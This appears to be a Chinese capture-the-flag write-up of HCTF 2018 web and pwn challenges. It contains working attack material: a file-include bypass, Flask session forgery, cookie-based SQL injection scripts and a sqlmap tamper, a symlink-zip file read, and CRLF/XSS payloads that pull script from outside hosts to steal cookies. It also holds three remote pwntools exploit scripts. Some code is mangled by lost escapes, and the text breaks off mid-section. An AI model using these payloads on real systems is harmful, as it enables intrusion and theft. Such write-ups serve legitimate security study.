Web warmup 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
payload:
curl "http://warmup.2018.hctf.io/index.php" -d "file=hint.php?/../ffffllllaaaagggg"
admin 方法1 flask的session保存在cookie中,并通过密钥校验session的正确性。如果知道密钥,也就可以任意伪造session.
使用工具:https://github.com/noraj/flask-session-cookie-manager
1 2 qianfa@qianfa:~/Desktop/hctf$ python session_manager.py decode -c ".eJw9kEGLwjAQhf_KMmcPmtWL4EGIlQozRUgNmYu4bW0bExeqUhvxv290wdMw8-C9-d4D9seuujQwv3a3agT7toT5A75-YA68zmfGbqcUlkOmE2f8zpJdCfSrPpP13YSdxVD3JIse1zhluXGZ2jiyyxnJekrCCONzQap0RpkxqaTBeGeZDxQSS5objBOlGTKVfse8iVHUsCpPvN5OUEev4JpMrwRLHEjnA6r0TqE5sXQxZzuLe0CdL-A5guLSHffX31N1_iCgXN7JJ62x7F8or9fZlh4FedJpxMgHjhoKduzZUogx9eJt1_pDXX2ctC7Tov9XzgcfBbi2h3PZ9jfbwghul6p7lweTMTz_ADRccOA.W-gvYA.qZr8vZsK6dpC8j6l3v-Oavi_KQc" {"_fresh":true,"_id":{" b":"ZGU5YjQ4NzAyOWFlYmVjNjE2MmEwODgxYzVjMzgwNDcwMGM4ZDJlOTJlNjA5NDg4N2Y2YmU2NTdlYTY0NTFhMDg4ZDUyNzFjNWZhMzFjMDYyOTI3ZGU1YTNhZTdkZGQ1MWJlNzlhOWE2ZDMyNWUyMTIxNzhkZDllNjQ5MTIzMWU="},"csrf_token":{" b":"MDAxNmFiYjZmYjQ4MmEwZjdmM2NmNWIwODUyZjZmM2ZlZmZjNzMyNg=="},"image":{" b":"WWdIcw=="},"name":"tiandiwuji","user_id":"10"}
网站源代码:
https://github.com/woadsl1234/hctf_flask/
通过源码我们可以看到:
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
尝试使用ckj123
查看我们的cookie:
1 2 3 4 5 qianfa@qianfa:~/Desktop/hctf$ python session_manager.py decode -c ".eJw9kEGLwjAQhf_KMmcPmtWL4EGIlQozRUgNmYu4bW0bExeqUhvxv290wdMw8-C9-d4D9seuujQwv3a3agT7toT5A75-YA68zmfGbqcUlkOmE2f8zpJdCfSrPpP13YSdxVD3JIse1zhluXGZ2jiyyxnJekrCCONzQap0RpkxqaTBeGeZDxQSS5objBOlGTKVfse8iVHUsCpPvN5OUEev4JpMrwRLHEjnA6r0TqE5sXQxZzuLe0CdL-A5guLSHffX31N1_iCgXN7JJ62x7F8or9fZlh4FedJpxMgHjhoKduzZUogx9eJt1_pDXX2ctC7Tov9XzgcfBbi2h3PZ9jfbwghul6p7lweTMTz_ADRccOA.W-gvYA.qZr8vZsK6dpC8j6l3v-Oavi_KQc" -s "ckj123" {u'csrf_token': '0016abb6fb482a0f7f3cf5b0852f6f3feffc7326', u'user_id': u'10', u'name': u'tiandiwuji', u'image': 'YgHs', u'_fresh': True, u'_id': 'de9b487029aebec6162a0881c5c3804700c8d2e92e6094887f6be657ea6451a088d5271c5fa31c062927de5a3ae7ddd51be79a9a6d325e212178dd9e6491231e'} qianfa@qianfa:~/Desktop/hctf$ tf$ python session_managerdecode -c ".eJw9kEGLwjAQhf_KMmcPmtWL4EGIlQozRUgNmYu4bW0bExeqUhvxv290wdMw8-C9-d4D9seuujQwv3a3agT7toT5A75-YA68zmfGbqcUlkOmE2f8zpJdCfSrPpP13YSdxVD3JIse1zhluXGZ2jiyyxnJekrCCONzQap0RpkxqaTBeGeZDxQSS5objBOlGTKVfse8iVHUsCpPvN5OUEev4JpMrwRLHEjnA6r0TqE5sXQxZzuLe0CdL-A5guLSHffX31N1_iCgXN7JJ62x7F8or9fZlh4FedJpxMgHjhoKduzZUogx9eJt1_pDXX2ctC7Tov9XzgcfBbi2h3PZ9jfbwghul6p7lweTMTz_ADRccOA.W-gvYA.qZr8vZsK6dpC8j6l3v-Oavi_KQc" -s "ckj1234" [Decoding error]Signature 'qZr8vZsK6dpC8j6l3v-Oavi_KQc' does not match
我们发现ckj123
就是真实的密钥。
然后就可以伪造session:
1 2 qianfa@qianfa:~/Desktop/hctf$ python session_manager.py encode -t "{u'csrf_token': '0016abb6fb482a0f7f3cf5b0852f6f3feffc7326', u'user_id': u'10', u'name': u'admin', u'image': 'YgHs', u'_fresh': True, u'_id': 'de9b487029aebec6162a0881c5c3804700c8d2e92e6094887f6be657ea6451a088d5271c5fa31c062927de5a3ae7ddd51be79a9a6d325e212178dd9e6491231e'}" -s "ckj123" .eJw9kEGLwjAQhf_KMmcPmtWL4EGIlQozRUgNmYu4bW0bExeqUhvxv290wdMw8-C9-d4D9seuujQwv3a3agT7toT5A75-YA68zmfGbqcUlkOmE2f8zpJdCfSrPpP13YSdxVD3JIse1zhluXGZ2jiyyxnJekrCCONzQap0RpkxqaTBeGeZDxQSS5objBOlGTKVfse8iVHUsCpPvN5OUEev4JpMrwRLHEjnA6r0TqE5sXQxZzuLe0CdL-A5guLSHffX31N1_iCgXN7JJ62x7F8or9fZlh4FedJpxMgHjhoKduzZUogx9eJt1_pDXX2ctC7Tov9XzgcfBTiUvj3DCG6Xqnv3BpMxPP8A9uFusQ.W-gwhQ.zuBhgwJ6v79wrzxKJSPGygiZ56M
这时候,就可以得到flag了。
方法二 参考链接:http://blog.lnyas.xyz/?p=1411
注册的用户名经过strlower后才与已有的用户名进行比较。
在change密码这里,更改密码之前又经过了一次strower,
注册一个ᴬdmin用户,登陆可以看到第一次strower把ᴬdmin变成了Admin,与admin不同所以注册成功。
然后更改密码,这里是第二次strower操作,Aadmin会变成admin,最终更改的是admin的密码。 最后退出,再用正常的admin登陆即可
方法三:
条件竞争
Kzone 问题主要出在member.php中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (isset($_COOKIE["islogin"])) { if ($_COOKIE["login_data"]) { $login_data = json_decode($_COOKIE['login_data'], true); $admin_user = $login_data['admin_user']; $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1"); if ($udata['username'] == '') { setcookie("islogin", "", time() - 604800); setcookie("login_data", "", time() - 604800); } $admin_pass = sha1($udata['password'] . LOGIN_KEY); if ($admin_pass == $login_data['admin_pass']) { $islogin = 1; } else { setcookie("islogin", "", time() - 604800); setcookie("login_data", "", time() - 604800); } } }
可以看到
1 2 3 4 5 6 $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1"); if ($udata['username'] == '') { setcookie("islogin", "", time() - 604800); setcookie("login_data", "", time() - 604800); } $admin_pass = sha1($udata['password'] . LOGIN_KEY);
如果\$udata从数据库中没有找到任何值,那么\$udata[‘password’]就是null,这样\$admin_pass就等于sha1(LOGIN_KEY)
也就是:3aa526bed244d14a09ddcc49ba36684866ec7661
waf.php:
1 2 3 4 5 6 7 function waf($string) { $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benark|like|regexp|if|=|-|<|>|\#|\s/i'; return preg_replace_callback($blacklist, function ($match) { return '@' . $match[0] . '@'; }, $string); }
这样,就过滤了information
。可以使用mysql.innodb_table_stats
绕过。
所以可以构造如下payload,sql语句能够成功读到admin的记录时,由于密码不对,将无法登录成功。当sql语句无法读到admin的记录时,就可以成功登录,这样便可以进行bool注入。
1 {"admin_user":"admin'&&right((select(@@secure_file_priv)),%d)in(%s)&&\'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}
可是,想到获得数据表名,便需要information_schema
,但是or
被过滤了。
可以看到,
$login_data = json_decode($_COOKIE['login_data'], true);
这一行,在过滤之后才执行,所以可以通过编码绕过。json_decode
会进行解码操作。
1 2 3 4 5 6 7 8 9 10 11 12 payload = payload.replace('u', 'u0075') payload = payload.replace('o', 'u006f') payload = payload.replace('i', 'u0069') payload = payload.replace(''', 'u0027') payload = payload.replace('"', 'u0022') payload = payload.replace(' ', 'u0020') payload = payload.replace('s', 'u0073') payload = payload.replace('#', 'u0023') payload = payload.replace('>', 'u003e') payload = payload.replace('<', 'u003c') payload = payload.replace('-', 'u002d') payload = payload.replace('=', 'u003d')
方法一(Ricterz): 参考链接:http://www.melodia.pw/?p=918
通过sqlmap执行:
编写tamper:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): data = '''{"admin_user":"admin%s","admin_pass":65};''' payload = payload.lower() payload = payload.replace('u', 'u0075') payload = payload.replace('o', 'u006f') payload = payload.replace('i', 'u0069') payload = payload.replace(''', 'u0027') payload = payload.replace('"', 'u0022') payload = payload.replace(' ', 'u0020') payload = payload.replace('s', 'u0073') payload = payload.replace('#', 'u0023') payload = payload.replace('>', 'u003e') payload = payload.replace('<', 'u003c') payload = payload.replace('-', 'u002d') payload = payload.replace('=', 'u003d') payload = payload.replace('f1a9', 'F1a9') payload = payload.replace('f1', 'F1') return data % payload
指定bool盲注:
--technique=B
指定数据库:
-dbms=mysql
sql识别:
--not-string=window.location
再加点线程:
--thread=10
最后:
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location --dbs
方法二 python3会对unicode编码自动解码,需要转义一下,python2不需要。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # -*- coding: utf-8 -*- import requests import string url = 'http://kzone.2018.hctf.io/include/common.php' str1 = string.ascii_letters+string.digits+'{}!@#$*&_,' def check(payload): cookie={ 'PHPSESSID':'8ehnp28ccr4ueh3gnfc3uqtau1', 'islogin':'1', 'login_data':payload } try: requests.get(url,cookies=cookie,timeout=3) return 0 except: return 1 result='' for i in range(1,33): for j in str1: #payload='{"admin_user":"admin\'and/**/\\u0069f(\\u0073ubstr((select/**/table_name/**/from/**/inf\\u006Frmation_schema.tables/**/where/**/table_schema\\u003Ddatabase()/**/limit/**/0,1),%d,1)\\u003D\'%s\',\\u0073leep(3),0)/**/and/**/\'1","admin_pass":65}'%(i,j) payload = '{"admin_user":"admin\'/**/and/**/\\u0069f(\\u0061scii(\\u0073ubstr((select/**/F1a9/**/from/**/F1444g),%s,1))\\u003d%s,\\u0073leep(4),1)/**/and/**/\'1","admin_pass":"123"}'% (str(i),ord(j)) #print('[+]'+payload) if check(payload): result += j break print(result)
hide and seek only admin can get it update1/更新1: 1. fix bugs 2. attention: you may need to restart all your work as something has changed hint: 1. docker 2. only few things running on it update2/更新2: Sorry,there are still some bugs, so down temporarily. update3/更新3: fixed bug
参考链接:https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
1 2 3 ln -s /etc/passwd link zip -y test.zip link
上传之后,可以看到/etc/passwd
.
1 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false messagebus:x:102:103::/var/run/dbus:/bin/false
尝试读取/proc/self/environ中的环境变量:
1 UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=30b76592807cSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
读取/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
:
1 [uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app
读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 # -*- coding: utf-8 -*- from flask import Flask,session,render_template,redirect, url_for, escape, request,Response import uuid import base64 import random import flag from werkzeug.utils import secure_filename import os random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100) app.config['UPLOAD_FOLDER'] = './uploads' app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 ALLOWED_EXTENSIONS = set(['zip']) def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/', methods=['GET']) def index(): error = request.args.get('error', '') if(error == '1'): session.pop('username', None) return render_template('index.html', forbidden=1) if 'username' in session: return render_template('index.html', user=session['username'], flag=flag.flag) else: return render_template('index.html') @app.route('/login', methods=['POST']) def login(): username=request.form['username'] password=request.form['password'] if request.method == 'POST' and username != '' and password != '': if(username == 'admin'): return redirect(url_for('index',error=1)) session['username'] = username return redirect(url_for('index')) @app.route('/logout', methods=['GET']) def logout(): session.pop('username', None) return redirect(url_for('index')) @app.route('/upload', methods=['POST']) def upload_file(): if 'the_file' not in request.files: return redirect(url_for('index')) file = request.files['the_file'] if file.filename == '': return redirect(url_for('index')) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) if(os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else: return 'This file is not a zipfile' try: extract_path = file_save_path + '_' os.system('unzip -n ' + file_save_path + ' -d '+ extract_path) read_obj = os.popen('cat ' + extract_path + '/*') file = read_obj.read() read_obj.close() os.system('rm -rf ' + extract_path) except Exception as e: file = None os.remove(file_save_path) if(file != None): if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1): return redirect(url_for('index', error=1)) return Response(file) if __name__ == '__main__': #app.run(debug=True) app.run(host='127.0.0.1', debug=True, port=10008)
读取templates/index.html
:
if user 1 2 3 4 {% if user == 'admin' %} Your flag: <br> {{ flag }} {% else %}
漏洞:
1 2 3 random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100)
这里的uuid.getnode()
就是获取固定的mac地址。
读取网卡信息/proc/net/dev
:
读取mac地址/sys/class/net/eth0/address
:
1 2 3 4 12:34:3e:14:7c:62 >>> 0x12343e147c62 20015589129314
得到SECRET_KEY之后,即可伪造session.
bottle 参考链接:https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
bottle的crlf注入。直接crlf首先注入一个CSP头部覆盖调已有的,然后注入xss向量即可,中间还需要注一个content-type头部,不然xss向量不解析。网上找到p牛的文章中的exp改一下就行了,exp如下:
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%250aContent-Type:text/html%250aContent-Security-Policy:script-src%2520*%250a%250a%3Cscript/src=http://zzm.cat/1.js%3E%3C/script%3E>
刚开始的时候,CSP是在响应包的上面的,需要想办法绕过CSP。最后伟哥告诉我那个hint1不是机器人访问的crontab,是bottle这个框架重启的crontab。bottle这个框架好像有一个特性,每次重启的时候可以bypass掉CSP。但是出题人好像第二天发现这个bypass思路自己都复现不了,所以就把CSP设置到响应包下面了。 接下来就简单了,只需要绕过302跳转就可以打到cookie。因为302的时候不会xss。利用 < 80端口可以绕过302跳转。可以在浏览器手动试一下。 80端口的时候:
22端口:
payload:
1 http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:300%0d%0a%0d%0a%3Cscript%20src%3dhttp://139.199.27.197:7000/1.js%3E%3C/script%3E
game 这里可以根据pass降序排列:
http://game.2018.hctf.io/web2/user.php?order=password
因而,可以一位一位的爆破出password。
比如:
首先注册一个密码为d
的用户,该用户最终会出现在id为1,用户名为admin
的用户之后。
在注册一个密码为e
的用户,该用户最终会出现在id为1,用户名为admin
的用户之前。从而可以确定admin的密码第一位为d
,反复注册即可。
Pwn the_end 当执行exit函数的时候,会清空缓冲区,_IO_2_1_stdout_
结构便起了很大的作用。
方法1 exit -> exit + 16 -> __run_exit_handlers+18 -> __run_exit_handlers+230 -> _dl_fini+126
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 pwndbg> 0x00007ffa38b80b2e 153 in dl-fini.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────[ REGISTERS ]─────────────────────────────────── RAX 0x90 RBX 0x539 RCX 0x7ffa38d96040 (_rtld_global) —▸ 0x7ffa38d97168 —▸ 0x55a87726f000 ◂— jg 0x55a87726f047 RDX 0x7ffa38b80ab0 (_dl_fini) ◂— push rbp RDI 0x7ffa38d96948 (_rtld_global+2312) ◂— 0x0 RSI 0x539 R8 0x7ffa38b6c780 (_IO_stdfile_1_lock) ◂— 0x0 R9 0x7ffa38d78700 ◂— 0x7ffa38d78700 R10 0x0 R11 0x246 R12 0x7ffa38d96048 (_rtld_global+8) ◂— 0x4 R13 0x7ffa38b6bc40 (initial) ◂— 0x0 R14 0x0 R15 0x0 RBP 0x7ffd96fb0c60 —▸ 0x7ffa38b6a5f8 (__exit_funcs) —▸ 0x7ffa38b6bc40 (initial) ◂— 0x0 RSP 0x7ffd96fb0bd0 ◂— 0x6562b026 RIP 0x7ffa38b80b2e (_dl_fini+126) ◂— call qword ptr [rip + 0x216414] ────────────────────────────────────[ DISASM ]───────────────────────────────────── 0x7ffa38b80ae4 <_dl_fini+52> lea rcx, [rip + 0x215555] <0x7ffa38d96040> 0x7ffa38b80aeb <_dl_fini+59> shl rax, 4 0x7ffa38b80aef <_dl_fini+63> lea r12, [rcx + rax - 0x88] 0x7ffa38b80af7 <_dl_fini+71> jmp _dl_fini+119 <0x7ffa38b80b27> ↓ 0x7ffa38b80b27 <_dl_fini+119> lea rdi, [rip + 0x215e1a] <0x7ffa38d96948> ► 0x7ffa38b80b2e <_dl_fini+126> call qword ptr [rip + 0x216414] <0x7ffa388962a4> rdi: 0x7ffa38d96948 (_rtld_global+2312) ◂— 0x0 rsi: 0x539 rdx: 0x7ffa38b80ab0 (_dl_fini) ◂— push rbp rcx: 0x7ffa38d96040 (_rtld_global) —▸ 0x7ffa38d97168 —▸ 0x55a87726f000 ◂— jg 0x55a87726f047 0x7ffa38b80b34 <_dl_fini+132> mov ecx, dword ptr [r12] 0x7ffa38b80b38 <_dl_fini+136> test ecx, ecx 0x7ffa38b80b3a <_dl_fini+138> je _dl_fini+80 <0x7ffa38b80b00> 0x7ffa38b80b3c <_dl_fini+140> mov rax, qword ptr [r12 - 8] 0x7ffa38b80b41 <_dl_fini+145> movzx edx, byte ptr [rax + 0x315] ─────────────────────────────────────[ STACK ]───────────────────────────────────── 00:0000│ rsp 0x7ffd96fb0bd0 ◂— 0x6562b026 01:0008│ 0x7ffd96fb0bd8 ◂— 0x3000000010 02:0010│ 0x7ffd96fb0be0 —▸ 0x7ffd96fb0cb0 ◂— 0x596fb0da0 03:0018│ 0x7ffd96fb0be8 —▸ 0x7ffd96fb0bf0 —▸ 0x7ffd96ff9280 ◂— add byte ptr ss:[rax], al /* '6' */ 04:0020│ 0x7ffd96fb0bf0 —▸ 0x7ffd96ff9280 ◂— add byte ptr ss:[rax], al /* '6' */ 05:0028│ 0x7ffd96fb0bf8 —▸ 0x7ffa38872230 (sleep) ◂— push rbp 06:0030│ 0x7ffd96fb0c00 —▸ 0x7ffd96fb0db8 —▸ 0x7ffd96fb2224 ◂— 0x52454d554e5f434c ('LC_NUMER') 07:0038│ 0x7ffd96fb0c08 —▸ 0x7ffa388722f0 (__nanosleep_nocancel+7) ◂— cmp rax, -0xfff ───────────────────────────────────[ BACKTRACE ]─────────────────────────────────── ► f 0 7ffa38b80b2e _dl_fini+126 f 1 7ffa387dfff8 __run_exit_handlers+232 f 2 7ffa387e0045 f 3 55a87726f969 f 4 596fb0da0 f 5 7ffa38d96f4c _rtld_global+3852 f 6 55a87726f970 f 7 7ffa387c6830 __libc_start_main+240 f 8 55a87726f7c9 f 9 7ffd96fb0d98 f 10 1c pwndbg> x/xg 0x7ffa38b80b2e + 0x216414 0x7ffa38d96f42 <_rtld_global+3842>: 0x62a4000000000000 pwndbg> x/xg 0x7ffa38b80b34 + 0x216414 0x7ffa38d96f48 <_rtld_global+3848>: 0x00007ffa388962a4
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import * debug = int(raw_input("is_debug:")) if debug: p = process("./the_end") # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc = ELF("./libc64.so") context.log_level = "debug" one_gadget = 0xf02a4 # one_gadget = 0xf1147 free_hook = 0x3c67a8 else: p = remote("150.109.44.250", 20002) libc = ELF("./libc64.so") # one_gadget = 0xf1231 one_gadget = 0xf02a4 free_hook = 0x3c67a8 context.log_level = "debug" if not debug: p.recvuntil("token:") p.sendline("MGZM3eIB6lN6aL9gs1guW2CIVP4iYx3E") data = p.recvline() sleep_addr = data[15:29] print sleep_addr libc_addr = int(sleep_addr, 16) - libc.symbols['sleep'] print hex(libc_addr) libc.address = libc_addr if debug: attach(p) #0x7f5f336d8f48 target_addr = libc_addr + 0x5f0f48 one_gadget = libc_addr + one_gadget print hex(one_gadget) p.send(p64(target_addr)) p.send(p64(one_gadget)[0:1]) p.send(p64(target_addr + 1)) p.send(p64(one_gadget)[1:2]) p.send(p64(target_addr + 2)) p.send(p64(one_gadget)[2:3]) p.send(p64(target_addr + 3)) p.send(p64(one_gadget)[3:4]) p.send(p64(target_addr + 4)) p.send(p64(one_gadget)[4:5]) p.sendline("cat flag >&0") # 本地可执行命令,比如`curl 123.207.90.143`但是查看文件,列目录等,远程可以 `cat flag >&0`的方式查看内容。 p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 qianfa@qianfa:~/Desktop/pwn/hctf/the_end_dir$ python solve.py is_debug:0 [+] Opening connection to 150.109.44.250 on port 20002: Done [*] '/home/qianfa/Desktop/pwn/hctf/the_end_dir/libc64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 0x7fb2ccd1b230 0x7fb2ccc4f000 0x7fb2ccd3f2a4 [*] Switching to interactive mode $ cat flag >&0 hctf{a53783c526bf3756a983a2e5af0e1f980393b7b69b0dfd68d578e937e342d212}
方法二 修改stdin->vtable
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #/usr/bin/python from pwn import * context.endian = "little" context.os = "linux" context.arch = "amd64" #i386 context.word_size = 64 #32 context.log_level = "debug" #info, warn, critical global io binary = "./the_end" def write4(date): for one in data: io.send(p64(one[0])) io.send(chr(one[1])) #0x00007f436cc2d6e0 stdin->vtable #0x00007f436cc2e3e0 a pointer --> one byte #0x00007f436cc2e400 0x00007f436c9f67e9 # 0x00007f436c95a2a4 one_gadget --> 3 bytes ''' stdin->vtable 0x00007fa1e55679b8 0x00007fa1e55666e0 ''' if __name__ == "__main__": elf = ELF(binary) libc = ELF("./libc.so.6") pipe_argv = [binary,""] pipe_env = {"LD_PRELOAD":"./libc.so.6"} #io = process(pipe_argv, env=pipe_env) io = remote("150.109.46.159",20002) io.readuntil("Input your token:") io.sendline("Ooh0jQajnHvoGq2lTlMt9tkT0EkellEa") io.readuntil("here is a gift ") libc_sleep = int(io.readuntil(",")[2:-1], 16) libc_base = libc_sleep - libc.symbols["sleep"] log.info("libc_base-->{}".format(hex(libc_base))) one_gadget = 0xf02a4 + libc_base log.info(hex(one_gadget)) stdin_vtable = 0x3c49b8 + libc_base io.readline() data = [] data.append([libc_base + 0x3c4bf8 + 0, ((one_gadget) >> 0) & 0xff]) data.append([libc_base + 0x3c4bf8 + 1, ((one_gadget) >> 8) & 0xff]) data.append([libc_base + 0x3c4bf8 + 2, ((one_gadget) >> 16) & 0xff]) data.append([libc_base + 0x3c49b8 + 1, ((0x3c4be0 + libc_base) >> 8) & 0xff]) pause() write4(data) io.interactive() '''enter''' '''enter''' '''exec 1>&0'''
方法三:
修改stdout->vtable
服务器上libc
的版本是2.24
,在2.24的libc源码中对io_file
的vtable
进行了IO_vtable_check
,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 #! /usr/bin/env python # -*- coding: utf-8 -*- import os import sys # https://github.com/matrix1001/welpwn if os.path.exists('./welpwn') != True: print("Verify that welpwn is in the current directory") exit() sys.path.insert(0,os.getcwd()+'/welpwn') from PwnContext.core import * if __name__ == '__main__': #context.terminal = ['tmux', 'splitw', '-h'] #-----function for quick script-----# s = lambda data :ctx.send(str(data)) #in case that data is a int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) st = lambda delim,data :ctx.sendthen(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) leak = lambda address, count=0 :ctx.leak(address, count) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) def to_write(addr,val): s(p64(addr)) sleep(0.1) s(p8(val)) debugg = 0 logg = 0 ctx.binary = './the_end' #ctx.remote_libc = '/vm_share/libc64.so' # /glibc/2.24/lib/libc-2.24.so #ctx.debug_remote_libc = True # this is by default ctx.remote = ('150.109.46.159', 20002) #ctx.bases.libc #ctx.symbols = {'sym1':0x1234, 'sym2':0x5678} #ctx.breakpoints = [0x964] #ctx.debug() if debugg: rs() else: rs(method = 'remote') sla('token:','DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j') if logg: context.log_level = 'debug' ru('gift ') libc_base = int(ru(','),16) - 0xcc230 log.success("libc_base = %s"%hex(libc_base)) tls = libc_base + 0x5d5700 log.success("tls = %s"%hex(tls)) one = libc_base + 0xf02a4 log.success("one = %s"%hex(one)) vtable = libc_base + 0x3c56f8 log.success("vtable = %s"%hex(vtable)) io_stdout = libc_base + 0x3c5620 log.success("io_stdout = %s"%hex(io_stdout)) target = libc_base + 0x3c44e0 + 0x18 log.success("target = %s"%hex(target)) to_write(target,one&0xff) to_write(target+1,(one>>8)&0xff) to_write(target+2,(one>>16)&0xff) to_write(vtable+1,(target>>8)&0xff) to_write(io_stdout+0x28,0xff) irt()
baby_printf2 stdout地址可控,可以通过伪造__IO_STDOUT_2_1_
